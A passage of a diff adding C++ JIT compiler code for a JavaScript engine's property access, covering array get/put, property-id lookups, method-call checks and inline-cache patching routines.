+    JITStubCall stubCall(this, cti_op_get_by_val);
+    stubCall.addArgument(base);
+    stubCall.addArgument(property);
+    stubCall.call(dst);
+}
+
+void JIT::emitSlow_op_get_by_val(Instruction*, Vector<SlowCaseEntry>::iterator&)
+{
+    ASSERT_NOT_REACHED();
+}
+
+void JIT::emit_op_put_by_val(Instruction* currentInstruction)
+{
+    unsigned base = currentInstruction[1].u.operand;
+    unsigned property = currentInstruction[2].u.operand;
+    unsigned value = currentInstruction[3].u.operand;
+    
+    JITStubCall stubCall(this, cti_op_put_by_val);
+    stubCall.addArgument(base);
+    stubCall.addArgument(property);
+    stubCall.addArgument(value);
+    stubCall.call();
+}
+
+void JIT::emitSlow_op_put_by_val(Instruction*, Vector<SlowCaseEntry>::iterator&)
+{
+    ASSERT_NOT_REACHED();
+}
+
+void JIT::emit_op_get_by_id(Instruction* currentInstruction)
+{
+    int dst = currentInstruction[1].u.operand;
+    int base = currentInstruction[2].u.operand;
+    int ident = currentInstruction[3].u.operand;
+    
+    JITStubCall stubCall(this, cti_op_get_by_id_generic);
+    stubCall.addArgument(base);
+    stubCall.addArgument(ImmPtr(&(m_codeBlock->identifier(ident))));
+    stubCall.call(dst);
+    
+    m_propertyAccessInstructionIndex++;
+}
+
+void JIT::emitSlow_op_get_by_id(Instruction*, Vector<SlowCaseEntry>::iterator&)
+{
+    m_propertyAccessInstructionIndex++;
+    ASSERT_NOT_REACHED();
+}
+
+void JIT::emit_op_put_by_id(Instruction* currentInstruction)
+{
+    int base = currentInstruction[1].u.operand;
+    int ident = currentInstruction[2].u.operand;
+    int value = currentInstruction[3].u.operand;
+    
+    JITStubCall stubCall(this, cti_op_put_by_id_generic);
+    stubCall.addArgument(base);
+    stubCall.addArgument(ImmPtr(&(m_codeBlock->identifier(ident))));
+    stubCall.addArgument(value);
+    stubCall.call();
+    
+    m_propertyAccessInstructionIndex++;
+}
+
+void JIT::emitSlow_op_put_by_id(Instruction*, Vector<SlowCaseEntry>::iterator&)
+{
+    m_propertyAccessInstructionIndex++;
+    ASSERT_NOT_REACHED();
+}
+
+#else // !ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS)
+
+/* ------------------------------ BEGIN: ENABLE(JIT_OPTIMIZE_PROPERTY_ACCESS) ------------------------------ */
+
+#if ENABLE(JIT_OPTIMIZE_METHOD_CALLS)
+
+void JIT::emit_op_method_check(Instruction* currentInstruction)
+{
+    // Assert that the following instruction is a get_by_id.
+    ASSERT(m_interpreter->getOpcodeID((currentInstruction + OPCODE_LENGTH(op_method_check))->u.opcode) == op_get_by_id);
+    
+    currentInstruction += OPCODE_LENGTH(op_method_check);
+    
+    // Do the method check - check the object & its prototype's structure inline (this is the common case).
+    m_methodCallCompilationInfo.append(MethodCallCompilationInfo(m_propertyAccessInstructionIndex));
+    MethodCallCompilationInfo& info = m_methodCallCompilationInfo.last();
+    
+    int dst = currentInstruction[1].u.operand;
+    int base = currentInstruction[2].u.operand;
+    
+    emitLoad(base, regT1, regT0);
+    emitJumpSlowCaseIfNotJSCell(base, regT1);
+    
+    BEGIN_UNINTERRUPTED_SEQUENCE(sequenceMethodCheck);
+    
+    Jump structureCheck = branchPtrWithPatch(NotEqual, Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), info.structureToCompare, ImmPtr(reinterpret_cast<void*>(patchGetByIdDefaultStructure)));
+    DataLabelPtr protoStructureToCompare, protoObj = moveWithPatch(ImmPtr(0), regT2);
+    Jump protoStructureCheck = branchPtrWithPatch(NotEqual, Address(regT2, OBJECT_OFFSETOF(JSCell, m_structure)), protoStructureToCompare, ImmPtr(reinterpret_cast<void*>(patchGetByIdDefaultStructure)));
+    
+    // This will be relinked to load the function without doing a load.
+    DataLabelPtr putFunction = moveWithPatch(ImmPtr(0), regT0);
+    
+    END_UNINTERRUPTED_SEQUENCE(sequenceMethodCheck);
+    
+    move(Imm32(JSValue::CellTag), regT1);
+    Jump match = jump();
+    
+    ASSERT(differenceBetween(info.structureToCompare, protoObj) == patchOffsetMethodCheckProtoObj);
+    ASSERT(differenceBetween(info.structureToCompare, protoStructureToCompare) == patchOffsetMethodCheckProtoStruct);
+    ASSERT(differenceBetween(info.structureToCompare, putFunction) == patchOffsetMethodCheckPutFunction);
+    
+    // Link the failure cases here.
+    structureCheck.link(this);
+    protoStructureCheck.link(this);
+    
+    // Do a regular(ish) get_by_id (the slow case will be link to
+    // cti_op_get_by_id_method_check instead of cti_op_get_by_id.
+    compileGetByIdHotPath();
+    
+    match.link(this);
+    emitStore(dst, regT1, regT0);
+    map(m_bytecodeIndex + OPCODE_LENGTH(op_method_check), dst, regT1, regT0);
+    
+    // We've already generated the following get_by_id, so make sure it's skipped over.
+    m_bytecodeIndex += OPCODE_LENGTH(op_get_by_id);
+}
+
+void JIT::emitSlow_op_method_check(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+{
+    currentInstruction += OPCODE_LENGTH(op_method_check);
+    
+    int dst = currentInstruction[1].u.operand;
+    int base = currentInstruction[2].u.operand;
+    int ident = currentInstruction[3].u.operand;
+    
+    compileGetByIdSlowCase(dst, base, &(m_codeBlock->identifier(ident)), iter, true);
+    
+    // We've already generated the following get_by_id, so make sure it's skipped over.
+    m_bytecodeIndex += OPCODE_LENGTH(op_get_by_id);
+}
+
+#else //!ENABLE(JIT_OPTIMIZE_METHOD_CALLS)
+
+// Treat these as nops - the call will be handed as a regular get_by_id/op_call pair.
+void JIT::emit_op_method_check(Instruction*) {}
+void JIT::emitSlow_op_method_check(Instruction*, Vector<SlowCaseEntry>::iterator&) { ASSERT_NOT_REACHED(); }
+
+#endif
+
+void JIT::emit_op_get_by_val(Instruction* currentInstruction)
+{
+    unsigned dst = currentInstruction[1].u.operand;
+    unsigned base = currentInstruction[2].u.operand;
+    unsigned property = currentInstruction[3].u.operand;
+    
+    emitLoad2(base, regT1, regT0, property, regT3, regT2);
+    
+    addSlowCase(branch32(NotEqual, regT3, Imm32(JSValue::Int32Tag)));
+    emitJumpSlowCaseIfNotJSCell(base, regT1);
+    addSlowCase(branchPtr(NotEqual, Address(regT0), ImmPtr(m_globalData->jsArrayVPtr)));
+    
+    loadPtr(Address(regT0, OBJECT_OFFSETOF(JSArray, m_storage)), regT3);
+    addSlowCase(branch32(AboveOrEqual, regT2, Address(regT0, OBJECT_OFFSETOF(JSArray, m_vectorLength))));
+    
+    load32(BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0]) + 4), regT1); // tag
+    load32(BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0])), regT0); // payload
+    addSlowCase(branch32(Equal, regT1, Imm32(JSValue::EmptyValueTag)));
+    
+    emitStore(dst, regT1, regT0);
+    map(m_bytecodeIndex + OPCODE_LENGTH(op_get_by_val), dst, regT1, regT0);
+}
+
+void JIT::emitSlow_op_get_by_val(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+{
+    unsigned dst = currentInstruction[1].u.operand;
+    unsigned base = currentInstruction[2].u.operand;
+    unsigned property = currentInstruction[3].u.operand;
+    
+    linkSlowCase(iter); // property int32 check
+    linkSlowCaseIfNotJSCell(iter, base); // base cell check
+    linkSlowCase(iter); // base array check
+    linkSlowCase(iter); // vector length check
+    linkSlowCase(iter); // empty value
+    
+    JITStubCall stubCall(this, cti_op_get_by_val);
+    stubCall.addArgument(base);
+    stubCall.addArgument(property);
+    stubCall.call(dst);
+}
+
+void JIT::emit_op_put_by_val(Instruction* currentInstruction)
+{
+    unsigned base = currentInstruction[1].u.operand;
+    unsigned property = currentInstruction[2].u.operand;
+    unsigned value = currentInstruction[3].u.operand;
+    
+    emitLoad2(base, regT1, regT0, property, regT3, regT2);
+    
+    addSlowCase(branch32(NotEqual, regT3, Imm32(JSValue::Int32Tag)));
+    emitJumpSlowCaseIfNotJSCell(base, regT1);
+    addSlowCase(branchPtr(NotEqual, Address(regT0), ImmPtr(m_globalData->jsArrayVPtr)));
+    addSlowCase(branch32(AboveOrEqual, regT2, Address(regT0, OBJECT_OFFSETOF(JSArray, m_vectorLength))));
+    
+    loadPtr(Address(regT0, OBJECT_OFFSETOF(JSArray, m_storage)), regT3);
+    
+    Jump empty = branch32(Equal, BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0]) + 4), Imm32(JSValue::EmptyValueTag));
+    
+    Label storeResult(this);
+    emitLoad(value, regT1, regT0);
+    store32(regT0, BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0]))); // payload
+    store32(regT1, BaseIndex(regT3, regT2, TimesEight, OBJECT_OFFSETOF(ArrayStorage, m_vector[0]) + 4)); // tag
+    Jump end = jump();
+    
+    empty.link(this);
+    add32(Imm32(1), Address(regT3, OBJECT_OFFSETOF(ArrayStorage, m_numValuesInVector)));
+    branch32(Below, regT2, Address(regT3, OBJECT_OFFSETOF(ArrayStorage, m_length))).linkTo(storeResult, this);
+    
+    add32(Imm32(1), regT2, regT0);
+    store32(regT0, Address(regT3, OBJECT_OFFSETOF(ArrayStorage, m_length)));
+    jump().linkTo(storeResult, this);
+    
+    end.link(this);
+}
+
+void JIT::emitSlow_op_put_by_val(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+{
+    unsigned base = currentInstruction[1].u.operand;
+    unsigned property = currentInstruction[2].u.operand;
+    unsigned value = currentInstruction[3].u.operand;
+    
+    linkSlowCase(iter); // property int32 check
+    linkSlowCaseIfNotJSCell(iter, base); // base cell check
+    linkSlowCase(iter); // base not array check
+    linkSlowCase(iter); // in vector check
+    
+    JITStubCall stubPutByValCall(this, cti_op_put_by_val);
+    stubPutByValCall.addArgument(base);
+    stubPutByValCall.addArgument(property);
+    stubPutByValCall.addArgument(value);
+    stubPutByValCall.call();
+}
+
+void JIT::emit_op_get_by_id(Instruction* currentInstruction)
+{
+    int dst = currentInstruction[1].u.operand;
+    int base = currentInstruction[2].u.operand;
+    
+    emitLoad(base, regT1, regT0);
+    emitJumpSlowCaseIfNotJSCell(base, regT1);
+    compileGetByIdHotPath();
+    emitStore(dst, regT1, regT0);
+    map(m_bytecodeIndex + OPCODE_LENGTH(op_get_by_id), dst, regT1, regT0);
+}
+
+void JIT::compileGetByIdHotPath()
+{
+    // As for put_by_id, get_by_id requires the offset of the Structure and the offset of the access to be patched.
+    // Additionally, for get_by_id we need patch the offset of the branch to the slow case (we patch this to jump
+    // to array-length / prototype access tranpolines, and finally we also the the property-map access offset as a label
+    // to jump back to if one of these trampolies finds a match.
+    
+    BEGIN_UNINTERRUPTED_SEQUENCE(sequenceGetByIdHotPath);
+    
+    Label hotPathBegin(this);
+    m_propertyAccessCompilationInfo[m_propertyAccessInstructionIndex].hotPathBegin = hotPathBegin;
+    m_propertyAccessInstructionIndex++;
+    
+    DataLabelPtr structureToCompare;
+    Jump structureCheck = branchPtrWithPatch(NotEqual, Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), structureToCompare, ImmPtr(reinterpret_cast<void*>(patchGetByIdDefaultStructure)));
+    addSlowCase(structureCheck);
+    ASSERT(differenceBetween(hotPathBegin, structureToCompare) == patchOffsetGetByIdStructure);
+    ASSERT(differenceBetween(hotPathBegin, structureCheck) == patchOffsetGetByIdBranchToSlowCase);
+    
+    Label externalLoad = loadPtrWithPatchToLEA(Address(regT0, OBJECT_OFFSETOF(JSObject, m_externalStorage)), regT2);
+    Label externalLoadComplete(this);
+    ASSERT(differenceBetween(hotPathBegin, externalLoad) == patchOffsetGetByIdExternalLoad);
+    ASSERT(differenceBetween(externalLoad, externalLoadComplete) == patchLengthGetByIdExternalLoad);
+    
+    DataLabel32 displacementLabel1 = loadPtrWithAddressOffsetPatch(Address(regT2, patchGetByIdDefaultOffset), regT0); // payload
+    ASSERT(differenceBetween(hotPathBegin, displacementLabel1) == patchOffsetGetByIdPropertyMapOffset1);
+    DataLabel32 displacementLabel2 = loadPtrWithAddressOffsetPatch(Address(regT2, patchGetByIdDefaultOffset), regT1); // tag
+    ASSERT(differenceBetween(hotPathBegin, displacementLabel2) == patchOffsetGetByIdPropertyMapOffset2);
+    
+    Label putResult(this);
+    ASSERT(differenceBetween(hotPathBegin, putResult) == patchOffsetGetByIdPutResult);
+    
+    END_UNINTERRUPTED_SEQUENCE(sequenceGetByIdHotPath);
+}
+
+void JIT::emitSlow_op_get_by_id(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+{
+    int dst = currentInstruction[1].u.operand;
+    int base = currentInstruction[2].u.operand;
+    int ident = currentInstruction[3].u.operand;
+    
+    compileGetByIdSlowCase(dst, base, &(m_codeBlock->identifier(ident)), iter);
+}
+
+void JIT::compileGetByIdSlowCase(int dst, int base, Identifier* ident, Vector<SlowCaseEntry>::iterator& iter, bool isMethodCheck)
+{
+    // As for the hot path of get_by_id, above, we ensure that we can use an architecture specific offset
+    // so that we only need track one pointer into the slow case code - we track a pointer to the location
+    // of the call (which we can use to look up the patch information), but should a array-length or
+    // prototype access trampoline fail we want to bail out back to here.  To do so we can subtract back
+    // the distance from the call to the head of the slow case.
+    linkSlowCaseIfNotJSCell(iter, base);
+    linkSlowCase(iter);
+    
+    BEGIN_UNINTERRUPTED_SEQUENCE(sequenceGetByIdSlowCase);
+    
+#ifndef NDEBUG
+    Label coldPathBegin(this);
+#endif
+    JITStubCall stubCall(this, isMethodCheck ? cti_op_get_by_id_method_check : cti_op_get_by_id);
+    stubCall.addArgument(regT1, regT0);
+    stubCall.addArgument(ImmPtr(ident));
+    Call call = stubCall.call(dst);
+    
+    END_UNINTERRUPTED_SEQUENCE(sequenceGetByIdSlowCase);
+    
+    ASSERT(differenceBetween(coldPathBegin, call) == patchOffsetGetByIdSlowCaseCall);
+    
+    // Track the location of the call; this will be used to recover patch information.
+    m_propertyAccessCompilationInfo[m_propertyAccessInstructionIndex].callReturnLocation = call;
+    m_propertyAccessInstructionIndex++;
+}
+
+void JIT::emit_op_put_by_id(Instruction* currentInstruction)
+{
+    // In order to be able to patch both the Structure, and the object offset, we store one pointer,
+    // to just after the arguments have been loaded into registers 'hotPathBegin', and we generate code
+    // such that the Structure & offset are always at the same distance from this.
+    
+    int base = currentInstruction[1].u.operand;
+    int value = currentInstruction[3].u.operand;
+    
+    emitLoad2(base, regT1, regT0, value, regT3, regT2);
+    
+    emitJumpSlowCaseIfNotJSCell(base, regT1);
+    
+    BEGIN_UNINTERRUPTED_SEQUENCE(sequencePutById);
+    
+    Label hotPathBegin(this);
+    m_propertyAccessCompilationInfo[m_propertyAccessInstructionIndex].hotPathBegin = hotPathBegin;
+    m_propertyAccessInstructionIndex++;
+    
+    // It is important that the following instruction plants a 32bit immediate, in order that it can be patched over.
+    DataLabelPtr structureToCompare;
+    addSlowCase(branchPtrWithPatch(NotEqual, Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), structureToCompare, ImmPtr(reinterpret_cast<void*>(patchGetByIdDefaultStructure))));
+    ASSERT(differenceBetween(hotPathBegin, structureToCompare) == patchOffsetPutByIdStructure);
+    
+    // Plant a load from a bogus ofset in the object's property map; we will patch this later, if it is to be used.
+    Label externalLoad = loadPtrWithPatchToLEA(Address(regT0, OBJECT_OFFSETOF(JSObject, m_externalStorage)), regT0);
+    Label externalLoadComplete(this);
+    ASSERT(differenceBetween(hotPathBegin, externalLoad) == patchOffsetPutByIdExternalLoad);
+    ASSERT(differenceBetween(externalLoad, externalLoadComplete) == patchLengthPutByIdExternalLoad);
+    
+    DataLabel32 displacementLabel1 = storePtrWithAddressOffsetPatch(regT2, Address(regT0, patchGetByIdDefaultOffset)); // payload
+    DataLabel32 displacementLabel2 = storePtrWithAddressOffsetPatch(regT3, Address(regT0, patchGetByIdDefaultOffset)); // tag
+    
+    END_UNINTERRUPTED_SEQUENCE(sequencePutById);
+    
+    ASSERT(differenceBetween(hotPathBegin, displacementLabel1) == patchOffsetPutByIdPropertyMapOffset1);
+    ASSERT(differenceBetween(hotPathBegin, displacementLabel2) == patchOffsetPutByIdPropertyMapOffset2);
+}
+
+void JIT::emitSlow_op_put_by_id(Instruction* currentInstruction, Vector<SlowCaseEntry>::iterator& iter)
+{
+    int base = currentInstruction[1].u.operand;
+    int ident = currentInstruction[2].u.operand;
+    
+    linkSlowCaseIfNotJSCell(iter, base);
+    linkSlowCase(iter);
+    
+    JITStubCall stubCall(this, cti_op_put_by_id);
+    stubCall.addArgument(regT1, regT0);
+    stubCall.addArgument(ImmPtr(&(m_codeBlock->identifier(ident))));
+    stubCall.addArgument(regT3, regT2); 
+    Call call = stubCall.call();
+    
+    // Track the location of the call; this will be used to recover patch information.
+    m_propertyAccessCompilationInfo[m_propertyAccessInstructionIndex].callReturnLocation = call;
+    m_propertyAccessInstructionIndex++;
+}
+
+// Compile a store into an object's property storage.  May overwrite base.
+void JIT::compilePutDirectOffset(RegisterID base, RegisterID valueTag, RegisterID valuePayload, Structure* structure, size_t cachedOffset)
+{
+    int offset = cachedOffset;
+    if (structure->isUsingInlineStorage())
+        offset += OBJECT_OFFSETOF(JSObject, m_inlineStorage) /  sizeof(Register);
+    else
+        loadPtr(Address(base, OBJECT_OFFSETOF(JSObject, m_externalStorage)), base);
+    emitStore(offset, valueTag, valuePayload, base);
+}
+
+// Compile a load from an object's property storage.  May overwrite base.
+void JIT::compileGetDirectOffset(RegisterID base, RegisterID resultTag, RegisterID resultPayload, Structure* structure, size_t cachedOffset)
+{
+    int offset = cachedOffset;
+    if (structure->isUsingInlineStorage())
+        offset += OBJECT_OFFSETOF(JSObject, m_inlineStorage) / sizeof(Register);
+    else
+        loadPtr(Address(base, OBJECT_OFFSETOF(JSObject, m_externalStorage)), base);
+    emitLoad(offset, resultTag, resultPayload, base);
+}
+
+void JIT::compileGetDirectOffset(JSObject* base, RegisterID temp, RegisterID resultTag, RegisterID resultPayload, size_t cachedOffset)
+{
+    if (base->isUsingInlineStorage()) {
+        load32(reinterpret_cast<char*>(&base->m_inlineStorage[cachedOffset]), resultPayload);
+        load32(reinterpret_cast<char*>(&base->m_inlineStorage[cachedOffset]) + 4, resultTag);
+        return;
+    }
+    
+    size_t offset = cachedOffset * sizeof(JSValue);
+    
+    PropertyStorage* protoPropertyStorage = &base->m_externalStorage;
+    loadPtr(static_cast<void*>(protoPropertyStorage), temp);
+    load32(Address(temp, offset), resultPayload);
+    load32(Address(temp, offset + 4), resultTag);
+}
+
+void JIT::testPrototype(Structure* structure, JumpList& failureCases)
+{
+    if (structure->m_prototype.isNull())
+        return;
+    
+    failureCases.append(branchPtr(NotEqual, AbsoluteAddress(&asCell(structure->m_prototype)->m_structure), ImmPtr(asCell(structure->m_prototype)->m_structure)));
+}
+
+void JIT::privateCompilePutByIdTransition(StructureStubInfo* stubInfo, Structure* oldStructure, Structure* newStructure, size_t cachedOffset, StructureChain* chain, ReturnAddressPtr returnAddress)
+{
+    // It is assumed that regT0 contains the basePayload and regT1 contains the baseTag.  The value can be found on the stack.
+    
+    JumpList failureCases;
+    failureCases.append(branch32(NotEqual, regT1, Imm32(JSValue::CellTag)));
+    failureCases.append(branchPtr(NotEqual, Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)), ImmPtr(oldStructure)));
+    testPrototype(oldStructure, failureCases);
+    
+    // Verify that nothing in the prototype chain has a setter for this property. 
+    for (RefPtr<Structure>* it = chain->head(); *it; ++it)
+        testPrototype(it->get(), failureCases);
+    
+    // Reallocate property storage if needed.
+    Call callTarget;
+    bool willNeedStorageRealloc = oldStructure->propertyStorageCapacity() != newStructure->propertyStorageCapacity();
+    if (willNeedStorageRealloc) {
+        // This trampoline was called to like a JIT stub; before we can can call again we need to
+        // remove the return address from the stack, to prevent the stack from becoming misaligned.
+        preserveReturnAddressAfterCall(regT3);
+        
+        JITStubCall stubCall(this, cti_op_put_by_id_transition_realloc);
+        stubCall.skipArgument(); // base
+        stubCall.skipArgument(); // ident
+        stubCall.skipArgument(); // value
+        stubCall.addArgument(Imm32(oldStructure->propertyStorageCapacity()));
+        stubCall.addArgument(Imm32(newStructure->propertyStorageCapacity()));
+        stubCall.call(regT0);
+        
+        restoreReturnAddressBeforeReturn(regT3);
+    }
+    
+    sub32(Imm32(1), AbsoluteAddress(oldStructure->addressOfCount()));
+    add32(Imm32(1), AbsoluteAddress(newStructure->addressOfCount()));
+    storePtr(ImmPtr(newStructure), Address(regT0, OBJECT_OFFSETOF(JSCell, m_structure)));
+    
+    load32(Address(stackPointerRegister, offsetof(struct JITStackFrame, args[2]) + sizeof(void*)), regT3);
+    load32(Address(stackPointerRegister, offsetof(struct JITStackFrame, args[2]) + sizeof(void*) + 4), regT2);
+    
+    // Write the value
+    compilePutDirectOffset(regT0, regT2, regT3, newStructure, cachedOffset);
+    
+    ret();
+    
+    ASSERT(!failureCases.empty());
+    failureCases.link(this);
+    restoreArgumentReferenceForTrampoline();
+    Call failureCall = tailRecursiveCall();
+    
+    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
+    
+    patchBuffer.link(failureCall, FunctionPtr(cti_op_put_by_id_fail));
+    
+    if (willNeedStorageRealloc) {
+        ASSERT(m_calls.size() == 1);
+        patchBuffer.link(m_calls[0].from, FunctionPtr(cti_op_put_by_id_transition_realloc));
+    }
+    
+    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
+    stubInfo->stubRoutine = entryLabel;
+    RepatchBuffer repatchBuffer(m_codeBlock);
+    repatchBuffer.relinkCallerToTrampoline(returnAddress, entryLabel);
+}
+
+void JIT::patchGetByIdSelf(CodeBlock* codeBlock, StructureStubInfo* stubInfo, Structure* structure, size_t cachedOffset, ReturnAddressPtr returnAddress)
+{
+    RepatchBuffer repatchBuffer(codeBlock);
+    
+    // We don't want to patch more than once - in future go to cti_op_get_by_id_generic.
+    // Should probably go to JITStubs::cti_op_get_by_id_fail, but that doesn't do anything interesting right now.
+    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_self_fail));
+    
+    int offset = sizeof(JSValue) * cachedOffset;
+    
+    // If we're patching to use inline storage, convert the initial load to a lea; this avoids the extra load
+    // and makes the subsequent load's offset automatically correct
+    if (structure->isUsingInlineStorage())
+        repatchBuffer.repatchLoadPtrToLEA(stubInfo->hotPathBegin.instructionAtOffset(patchOffsetGetByIdExternalLoad));
+    
+    // Patch the offset into the propoerty map to load from, then patch the Structure to look for.
+    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabelPtrAtOffset(patchOffsetGetByIdStructure), structure);
+    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabel32AtOffset(patchOffsetGetByIdPropertyMapOffset1), offset); // payload
+    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabel32AtOffset(patchOffsetGetByIdPropertyMapOffset2), offset + 4); // tag
+}
+
+void JIT::patchMethodCallProto(CodeBlock* codeBlock, MethodCallLinkInfo& methodCallLinkInfo, JSFunction* callee, Structure* structure, JSObject* proto, ReturnAddressPtr returnAddress)
+{
+    RepatchBuffer repatchBuffer(codeBlock);
+    
+    ASSERT(!methodCallLinkInfo.cachedStructure);
+    methodCallLinkInfo.cachedStructure = structure;
+    structure->ref();
+    
+    Structure* prototypeStructure = proto->structure();
+    methodCallLinkInfo.cachedPrototypeStructure = prototypeStructure;
+    prototypeStructure->ref();
+    
+    repatchBuffer.repatch(methodCallLinkInfo.structureLabel, structure);
+    repatchBuffer.repatch(methodCallLinkInfo.structureLabel.dataLabelPtrAtOffset(patchOffsetMethodCheckProtoObj), proto);
+    repatchBuffer.repatch(methodCallLinkInfo.structureLabel.dataLabelPtrAtOffset(patchOffsetMethodCheckProtoStruct), prototypeStructure);
+    repatchBuffer.repatch(methodCallLinkInfo.structureLabel.dataLabelPtrAtOffset(patchOffsetMethodCheckPutFunction), callee);
+    
+    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id));
+}
+
+void JIT::patchPutByIdReplace(CodeBlock* codeBlock, StructureStubInfo* stubInfo, Structure* structure, size_t cachedOffset, ReturnAddressPtr returnAddress)
+{
+    RepatchBuffer repatchBuffer(codeBlock);
+    
+    // We don't want to patch more than once - in future go to cti_op_put_by_id_generic.
+    // Should probably go to cti_op_put_by_id_fail, but that doesn't do anything interesting right now.
+    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_put_by_id_generic));
+    
+    int offset = sizeof(JSValue) * cachedOffset;
+    
+    // If we're patching to use inline storage, convert the initial load to a lea; this avoids the extra load
+    // and makes the subsequent load's offset automatically correct
+    if (structure->isUsingInlineStorage())
+        repatchBuffer.repatchLoadPtrToLEA(stubInfo->hotPathBegin.instructionAtOffset(patchOffsetPutByIdExternalLoad));
+    
+    // Patch the offset into the propoerty map to load from, then patch the Structure to look for.
+    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabelPtrAtOffset(patchOffsetPutByIdStructure), structure);
+    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabel32AtOffset(patchOffsetPutByIdPropertyMapOffset1), offset); // payload
+    repatchBuffer.repatch(stubInfo->hotPathBegin.dataLabel32AtOffset(patchOffsetPutByIdPropertyMapOffset2), offset + 4); // tag
+}
+
+void JIT::privateCompilePatchGetArrayLength(ReturnAddressPtr returnAddress)
+{
+    StructureStubInfo* stubInfo = &m_codeBlock->getStubInfo(returnAddress);
+    
+    // regT0 holds a JSCell*
+    
+    // Check for array
+    Jump failureCases1 = branchPtr(NotEqual, Address(regT0), ImmPtr(m_globalData->jsArrayVPtr));
+    
+    // Checks out okay! - get the length from the storage
+    loadPtr(Address(regT0, OBJECT_OFFSETOF(JSArray, m_storage)), regT2);
+    load32(Address(regT2, OBJECT_OFFSETOF(ArrayStorage, m_length)), regT2);
+    
+    Jump failureCases2 = branch32(Above, regT2, Imm32(INT_MAX));
+    move(regT2, regT0);
+    move(Imm32(JSValue::Int32Tag), regT1);
+    Jump success = jump();
+    
+    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
+    
+    // Use the patch information to link the failure cases back to the original slow case routine.
+    CodeLocationLabel slowCaseBegin = stubInfo->callReturnLocation.labelAtOffset(-patchOffsetGetByIdSlowCaseCall);
+    patchBuffer.link(failureCases1, slowCaseBegin);
+    patchBuffer.link(failureCases2, slowCaseBegin);
+    
+    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
+    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
+    
+    // Track the stub we have created so that it will be deleted later.
+    CodeLocationLabel entryLabel = patchBuffer.finalizeCodeAddendum();
+    stubInfo->stubRoutine = entryLabel;
+    
+    // Finally patch the jump to slow case back in the hot path to jump here instead.
+    CodeLocationJump jumpLocation = stubInfo->hotPathBegin.jumpAtOffset(patchOffsetGetByIdBranchToSlowCase);
+    RepatchBuffer repatchBuffer(m_codeBlock);
+    repatchBuffer.relink(jumpLocation, entryLabel);
+    
+    // We don't want to patch more than once - in future go to cti_op_put_by_id_generic.
+    repatchBuffer.relinkCallerToFunction(returnAddress, FunctionPtr(cti_op_get_by_id_array_fail));
+}
+
+void JIT::privateCompileGetByIdProto(StructureStubInfo* stubInfo, Structure* structure, Structure* prototypeStructure, const Identifier& ident, const PropertySlot& slot, size_t cachedOffset, ReturnAddressPtr returnAddress, CallFrame* callFrame)
+{
+    // regT0 holds a JSCell*
+    
+    // The prototype object definitely exists (if this stub exists the CodeBlock is referencing a Structure that is
+    // referencing the prototype object - let's speculatively load it's table nice and early!)
+    JSObject* protoObject = asObject(structure->prototypeForLookup(callFrame));
+    
+    Jump failureCases1 = checkStructure(regT0, structure);
+    
+    // Check the prototype object's Structure had not changed.
+    Structure** prototypeStructureAddress = &(protoObject->m_structure);
+#if CPU(X86_64)
+    move(ImmPtr(prototypeStructure), regT3);
+    Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), regT3);
+#else
+    Jump failureCases2 = branchPtr(NotEqual, AbsoluteAddress(prototypeStructureAddress), ImmPtr(prototypeStructure));
+#endif
+    bool needsStubLink = false;
+    // Checks out okay!
+    if (slot.cachedPropertyType() == PropertySlot::Getter) {
+        needsStubLink = true;
+        compileGetDirectOffset(protoObject, regT2, regT2, regT1, cachedOffset);
+        JITStubCall stubCall(this, cti_op_get_by_id_getter_stub);
+        stubCall.addArgument(regT1);
+        stubCall.addArgument(regT0);
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else if (slot.cachedPropertyType() == PropertySlot::Custom) {
+        needsStubLink = true;
+        JITStubCall stubCall(this, cti_op_get_by_id_custom_stub);
+        stubCall.addArgument(ImmPtr(protoObject));
+        stubCall.addArgument(ImmPtr(FunctionPtr(slot.customGetter()).executableAddress()));
+        stubCall.addArgument(ImmPtr(const_cast<Identifier*>(&ident)));
+        stubCall.addArgument(ImmPtr(stubInfo->callReturnLocation.executableAddress()));
+        stubCall.call();
+    } else
+        compileGetDirectOffset(protoObject, regT2, regT1, regT0, cachedOffset);
+    
+    Jump success = jump();
+    
+    LinkBuffer patchBuffer(this, m_codeBlock->executablePool());
+    
+    // Use the patch information to link the failure cases back to the original slow case routine.
+    CodeLocationLabel slowCaseBegin = stubInfo->callReturnLocation.labelAtOffset(-patchOffsetGetByIdSlowCaseCall);
+    patchBuffer.link(failureCases1, slowCaseBegin);
+    patchBuffer.link(failureCases2, slowCaseBegin);
+    
+    // On success return back to the hot patch code, at a point it will perform the store to dest for us.
+    patchBuffer.link(success, stubInfo->hotPathBegin.labelAtOffset(patchOffsetGetByIdPutResult));
+
+    if (needsStubLink) {
